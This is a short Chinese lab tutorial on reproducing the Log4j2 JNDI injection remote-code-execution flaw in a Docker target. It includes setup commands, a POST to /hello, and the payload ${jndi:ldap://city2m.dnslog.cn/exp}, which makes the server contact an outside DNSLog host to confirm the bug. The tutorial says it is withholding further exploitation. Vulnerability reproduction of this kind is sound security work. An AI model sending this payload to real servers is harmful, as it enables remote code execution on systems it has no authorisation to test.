0、漏洞基本原理
攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将攻击者构造的payload进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
1、使用docker环境搭建靶场
docker pull vulfocus/log4j2-rce-2021-12-09
2、启动docker容器
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
3、访问项目(172.18.19.120:55000)
4、使用DNSLog生成域名
5、构造POST请求到项目:172.18.19.120:55000/hello
6、构造参数payload
payload=${jndi:ldap://city2m.dnslog.cn/exp}
city2m.dnslog.cn为通过DNSLog生成的域名。
7、抓包进行请求重放
8、在DNSLog中观察域名的DNS解析记录
DNSLog中出现新的DNS解析记录说明我们构造的payload被服务器成功执行,证明该漏洞存在。
漏洞的进一步利用不便过多展示。